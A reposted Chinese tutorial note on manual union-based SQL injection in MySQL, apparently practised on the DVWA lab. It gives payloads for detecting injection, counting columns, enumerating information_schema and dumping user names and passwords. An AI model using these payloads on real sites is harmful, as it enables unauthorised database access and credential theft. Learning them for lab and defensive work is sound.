ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

学习笔记十二:MySQL手注之联合查询注入

2021-12-05 15:31:08  阅读:181  来源: 互联网

标签:name admin 数据库 手注 笔记 union MySQL ID select


原理

union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

Union联合查询注入基本流程

1.判断是否存在注入(数字型还是字符型)

方法一:单引号法

'

方法二:逻辑法

and 1=1

and 1=2

1' and '1'='1

1' and '1'='2

方法三:运算法

-1

-0

2.猜解表名

常见的敏感表名

admin

user

admin_userinfo

system

vipuser

a_admin

xxx_admin

……

3.猜解字段数

order by xx    //xx是一个数字,表示你所猜的字段数

4.猜解字段名

常见的敏感字段名

username

password

admin_username

admin_password

……

5.获取数据

union select 1,2,3... from xx

MySQL手注之联合查询注入步骤详解

1.判断是否存在注入,注入类型是数字型还是字符型

输入ID为1'时出现提示You have an error in your SQL……to use near  ''1''  at line 1

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''

输入ID为1' and '1' = '1时,返回了ID:1' and '1' = '1  First name:admine 和Surname: admin

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'

输入ID为1' or '1' = '1时,界面将所有用户信息(ID,First name,Surname)都显示出来

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'

若以上实验过程成功的话,就可以说明存在字符型注入

2.猜解字段数

若输入ID为1' order by 2 #时,界面返回ID:1' order by 2 #    First name:admin    Surname:admin

而当输入ID为1' order by 3 #时,页面返回Unknown column '3' in 'order clause'

这就说明SQL语句查询的表的字段数是2

3.联合查询

获取当前数据库和数据库用户名

1' union select database(),user() #

获取当前的数据库版本和操作系统

1' union select version(),@@version_compile_os#

获取数据

在此之前我们需要判断MySQL的版本。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

获取数据表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

获取表中的列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

获取数据

1' union select user,password from users#

标签:name,admin,数据库,手注,笔记,union,MySQL,ID,select
来源: https://www.cnblogs.com/ling-chen/p/15645728.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有